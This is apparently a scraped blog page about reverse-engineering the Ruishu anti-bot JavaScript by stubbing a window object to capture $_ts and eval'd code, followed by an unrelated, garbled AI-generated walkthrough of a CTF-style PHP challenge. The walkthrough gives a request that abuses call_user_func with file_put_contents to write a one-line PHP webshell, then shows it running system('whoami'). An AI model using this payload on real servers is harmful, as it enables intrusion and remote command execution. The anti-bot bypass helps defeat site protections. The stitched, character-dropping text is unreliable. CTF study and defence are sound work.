JS逆向 | 瑞数四代补环境获取$_ts和eval

博客介绍了如何通过HookCookie定位cookie生成,并模拟网页环境来运行JavaScript代码,获取eval执行的VM文件及$_ts内容。通过补全window对象环境,重写eval函数,可以捕获并分析执行代码。文章涉及JavaScript逆向分析和网络爬虫技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

     使用了Hook Cookie之后,很容易就定位到cookie生成点,堆栈从eval往上,就是首页HTML的call入口了。

    

    eval执行的这个_$xa就是VM文件中的很大的自执行函数,而且进去之后,一开始就会获取$_ts中的内容,那么这两个东西本地生成该怎么做呢?

    很简单,这个eval里的代码是通过HTML首页中的自执行函数和外链中的$_ts生成的,那么我们直接本地把它们拷贝下来运行就能得到了。

    直接运行肯定是会报错的,那就补环境:

window={    $_ts:[],    eval_js:'',    eval:function (data) {        //console.log("eval:",data);        window.eval_js=data;        return {            toString:function () {                return window.eval_js;            }        }    },    document:{},    location:{        "ancestorOrigins": {},        "href": "xx",        "origin": "xx",        "protocol": "http:",        "host": "xx",        "hostname": "xx",        "port": "",        "pathname": "/rs1",        "search": "",        "hash": ""    }}

    补这么多就可以了。

    要输出$_ts和eval的代码,直接console就可以了,而且因为重写了eval函数的缘故,在补环境那里console就可以得到eval执行的VM代码。

    注:零基础一站式爬虫、零基础一站式安卓逆向、安卓逆向沙盒定制、chromium指纹浏览器定制也在开课哦,扫码联系吧!


专注于网络爬虫,JavaScript与App安全防护与逆向分析

包括Frida与Xposed教程发布

<think>嗯,用户让我分析这个PHP代码,并且题目提示是写一句话木马。首先,我需要仔细看一下代码的结构过滤规则。 首先,代码里有一个no函,用来过滤传入的参。它使用preg_match检查是否有黑名单中的命令,比如cat、more、shell_exec等等。如果匹配到这些关键词,就会直接die。否则返回原内容。看起来这个过滤比较严格,特别是过滤了system、exec这些执行函,还有像f开头的函,可能想阻止fwrite之类的文件操作。 接下来,用户通过GET传递mn参,以及POST传递e参代码检查这三个参是否存在,如果存在的话,就对mn使用no函过滤,然后检查e是否为存在的函,如果是,就用call_user_func调用这个函,参是mn。 这里的关键点在于如何利用e参来执行恶意代码。因为e参是用户可控的,但需要通过no函的过滤。不过注意到e参是通过POST传递的,而no函只应用在GET参mn上,所以e本身并没有被过滤。不过代码里检查的是e是否是一个存在的函,所以需要找到一个可用的函,能够执行命令或者写入文件。 题目提示是一句话木马,所以可能需要写入一个webshell到服务器上。常见的方法是用file_put_contents,但需要确认这个函是否被允许。不过no函过滤的是传入的参内容,而e参是函名,所以要看e是否被过滤。比如,如果e的值是file_put_contents,那么no函并没有检查e参本身,而是检查mn参的内容。所以这里可能可以利用。 例如,设置e=file_put_contents,然后m参作为文件名,n参作为内容。不过mn会被no函过滤,所以文件名内容里不能有黑名单中的关键词。但假设文件名可以设置为shell.php,内容是一句话木马<?php eval($_POST['cmd']);?>,但需要确保这些内容不触发黑名单。比如,检查内容里是否有cat等关键词,如果没有的话就可以通过过滤。 不过这里有个问题,call_user_func调用函时,参是经过no过滤后的mn。所以需要确保mn的参在过滤后仍然有效。例如,如果m是文件名,n是要写入的内容,而n中的内容不包含黑名单中的关键词,就可以成功写入文件。 另一个可能的函是create_function,但可能被禁用或者需要其他条件。或者考虑使用其他允许的函,比如error_log,但不太直接。 所以,可能的攻击步骤是: 1. 设置e=file_put_contents 2. GET参m=shell.php(需要确保文件名不被过滤,但shell.php不含黑名单词) 3. POST参e=file_put_contents 4. GET参n=<?php @eval($_POST['cmd']);?>,但需要检查n是否被no函过滤。例如,n中的内容是否包含黑名单中的关键词,比如system、exec等。如果n中的内容不包含这些词,就能通过过滤。 但可能n参的内容里有<、?等符号,需要确保PHP解析器能正确解析。此外,需要注意引号是否正确,可能需要使用base64编码或其他方式绕过。 另外,检查是否有其他函可用。比如,如果允许使用fwrite,但被过滤了f,所以可能不行。或者使用其他文件操作函,但可能受限于过滤规则。 综上,最可能的payload是: POST请求,设置e=file_put_contents GET参m=shell.php(假设允许) GET参n=<?php eval($_POST['cmd']);?>,但需要确保n参中没有被过滤的关键词。比如,这里的eval是否被过滤?因为no函过滤了eval,所以n参中的'eval'会被检测到,导致被拒绝。哦,对,no函检查的是传入的mn参的内容,如果n参中有'eval',就会被过滤,导致die。所以这行不通。 那怎么办?需要绕过对n参的过滤。例如,使用base64编码,然后在文件中解码执行。或者使用其他字符串处理函来构造payload。 例如,n参的内容可以是<?=`$_GET[0]`;?>,这样可能不会被过滤,但需要检查反引号是否被允许。或者用assert等函,但同样要注意是否被过滤。 或者,使用编码的方式,比如将eval用chr函拼接,但如何在n参中实现?可能需要更复杂的绕过方法。 或者,使用其他函,比如create_function,但需要参如何传递。或者利用其他允许的函来写入文件。 或者,是否可以利用参mn来传递多个参给file_put_contents,例如m作为文件名,n作为内容,但内容需要绕过过滤。 比如,如果n的内容是<?=@$_POST['cmd'];?>,这样不包含被过滤的关键词,可能可以通过。然后通过POST传递cmd参执行代码。 这种情况下,n参的内容是短标签,并且不涉及被过滤的函,所以可能通过no函的检查。 所以可能的payload是: GET参:m=shell.php,n=<?=@$_POST['cmd'];?> POST参:e=file_put_contents 这样,call_user_func会调用file_put_contents('shell.php', '<?=@$_POST['cmd'];?>'),写入一个webshell。然后访问shell.php,通过POST传递cmd参执行任意代码。 但需要确认n参中的内容是否被过滤。例如,是否包含cat、system等关键词。这里的n参是<?=@$_POST['cmd'];?>,其中没有黑名单中的关键词,所以应该可以通过no函的过滤。 因此,最终的payload应该是这样的构造,从而写入一句话木马。</think>该PHP代码实现了一个受限制的函调用机制,结合黑名单过滤机制。以下是分步解析及利用方法: --- ### 一、代码逻辑分析 1. **过滤函`no()`** - 使用正则表达式过滤`cat|more|less|...|f`等敏感词 - 触发黑名单内容会直接终止程序 - *仅作用于`$_GET['m']``$_GET['n']`参* 2. **函调用逻辑** - 通过`$_POST['e']`指定函名 - 使用`call_user_func()`调用该函 - 参为过滤后的`$_GET['m']``$_GET['n']` --- ### 二、关键突破点 1. **`$_POST['e']`未被过滤** - 可直接指定任意存在的函名 - *需绕过`function_exists()`检查* 2. **可用函筛选** - 未被禁用的高危函:`file_put_contents` - 该函可实现文件写入功能 --- ### 三、构造一句话木马 #### 1. 利用`file_put_contents` **参组合:** ```http POST /target.php?m=shell.php&n=<?=@$_POST[c]?> HTTP/1.1 ... e=file_put_contents ``` *注意:参需URL编码* #### 2. 技术要点 - `m=shell.php`:指定写入文件名 - `n=<?=@$_POST[c]?>`:写入内容为短标签形式的一句话木马 - 未触发黑名单的关键词过滤 #### 3. 木马使用 ```http POST /shell.php HTTP/1.1 ... c=system('whoami'); ``` --- ### 四、防御缺陷分析 1. **函名未过滤** - 允许直接调用`file_put_contents`等敏感函 2. **内容过滤绕过** - 使用`<?=`短标签替`<?php` - 通过POST二次传参执行命令 --- ### 五、防御建议 ```php // 增加函白名单 $allowed_func = ['safe_func1', 'safe_func2']; if (!in_array($e, $allowed_func)) die(); // 禁用短标签 ini_set('short_open_tag', '0'); // 加强文件名过滤 if(preg_match("/\.php$/i", $param1)) die(); ``` 通过上述分析,攻击者可利用`file_put_contents`函绕过过滤写入webshell,核心在于黑名单未覆盖所有危险函及短标签语法特性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值